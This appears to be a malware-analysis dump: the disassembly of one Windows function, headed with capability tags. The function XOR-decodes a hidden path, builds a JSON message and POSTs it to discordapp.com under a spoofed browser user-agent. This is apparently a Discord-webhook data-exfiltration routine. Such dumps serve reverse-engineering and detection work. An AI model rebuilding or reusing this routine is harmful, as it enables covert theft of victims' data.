Function at 0x1400537e0
Capabilities:
Connect to http server
Create http request
Encode data using xor
Read data from internet
Receive data
Reference http user-agent string
Send data
Send http request

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x60]
sub rsp, 0x160
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x14011f628]
xor rax, rsp
mov qword [rbp + 0x20], rax
mov rdi, rcx
mov qword [rsp + 0x68], rcx
mov qword [rbp - 0x20], rcx
xor r14d, r14d
movups xmm0, xmmword [0x1400ed680]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [str.spvuwpqvpxxuv]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x1400ed6a0]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x1400ed6b0]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x1400ed6c0]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [str._x_f]
movups xmmword [rbp - 0x40], xmm1
mov eax, dword [0x1400ed6e0]
mov dword [rbp - 0x30], eax
movzx eax, word [0x1400ed6e4]
mov word [rbp - 0x2c], ax
mov ecx, r14d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400539e4
movdqa xmm5, xmmword [0x1400f3130]
movdqa xmm4, xmmword [0x1400f3170]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [str.5555]
mov eax, Ordinal_33
movd xmm8, eax
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rbp - 0x10], xmm0
lea rdx, [rsp + 0x74]
mov r8d, dword [rbp - 0x10]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400f3150]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
pxor xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400f3150]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
pxor xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x60
jl 0x1400538e0
cmp ecx, 0x66
jge 0x140053a1c
movsxd rax, ecx
lea r8, [rsp + 0x70]
add r8, rax
nop
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x66
jl 0x1400539f0
lea rax, str.application_json
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], r14
mov rcx, qword [rdi + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 0x23
jb 0x140053e2c
mov rax, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x140053a53
mov rax, qword [rdi]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], reloc.WLDAP32.dll_Ordinal_35
lea r9, str.__username_:__Other____content_:__
mov r8, rdi
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.140004eb0
nop
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
mov rax, rdx
sub rax, rcx
cmp rax, 3
jb 0x140053ad1
lea rax, [rcx + 3]
mov qword [rsp + 0x58], rax
lea rbx, [rsp + 0x48]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x48]
add rbx, rcx
mov r8d, 3
lea rdx, [0x1400ed7a8]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 3], 0
lea rax, [rsp + 0x48]
jmp 0x140053af2
mov qword [rsp + 0x20], 3
lea r9, [0x1400ed7a8]
xor r8d, r8d
lea edx, [r8 + 3]
lea rcx, [rsp + 0x48]
call fcn.140004b80
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rsi, [rbp]
mov rcx, qword [rbp]
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
cmovae rsi, rcx
jb 0x140053b65
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140053b60
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140053b60
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d8440
movdqa xmm0, xmmword [0x1400ecb00]
movdqu xmmword [rbp + 0x10], xmm0
mov byte [rbp], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x140053bb6
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140053bb1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140053bb1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d8440
movdqa xmm0, xmmword [0x1400ecb00]
movdqu xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x48], 0
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rsi + rbx], 0
jne 0x140053bd0
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_79.0.3945.74_Safari_537.36_Edg_79.0.309.43
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r13, rax
test rax, rax
je 0x140053da4
mov r8d, 0x1bb
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], r14d
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea rdx, str.discordapp.com
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetConnectA]
mov r12, rax
test rax, rax
je 0x140053d9a
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], 0x84880100
lea rax, [rbp - 0x10]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, [rsp + 0x70]
lea rdx, str.POST
mov rcx, r12
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov r15, rax
test rax, rax
je 0x140053d91
mov dword [rsp + 0x20], ebx
mov r9, rsi
mov r8d, 0xffffffff
lea rdx, str.Content_Type:_application_json
mov rcx, rax
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x140053d88
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
mov dword [rbp - 0x18], reloc.WLDAP32.dll_Ordinal_32
mov qword [rsp + 0x20], r14
lea r9, [rbp - 0x18]
lea r8, [rbp]
mov edx, reloc.WS2_32.dll_send
mov rcx, r15
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x140053cdc
lea rcx, [rbp]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov rsi, r14
mov ebx, r14d
mov ecx, 0x800
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r14, rax
mov dword [rbp - 0x18], ebx
lea r9, [rbp - 0x18]
mov r8d, 8
mov rdx, rax
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140053d6e
mov rdi, 0xffffffffffffffff
mov ecx, dword [rbp - 0x18]
test ecx, ecx
je 0x140053d69
mov edx, ebx
add edx, ecx
cmovb rdx, rdi
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
test rax, rax
je 0x140053d48
mov rsi, rax
mov r8d, dword [rbp - 0x18]
mov ecx, ebx
add rcx, rax
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
add ebx, dword [rbp - 0x18]
mov dword [rbp - 0x18], 0
lea r9, [rbp - 0x18]
mov r8d, 8
mov rdx, r14
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140053d14
mov rdi, qword [rsp + 0x68]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
test rsi, rsi
je 0x140053d85
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor r14d, r14d
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x140053dda
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x140053dd5
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140053e25
mov rcx, r8
call fcn.1400d8440
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
mov rcx, qword [rbp + 0x20]
xor rcx, rsp
call fcn.1400d8560
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400051b0
nop
int3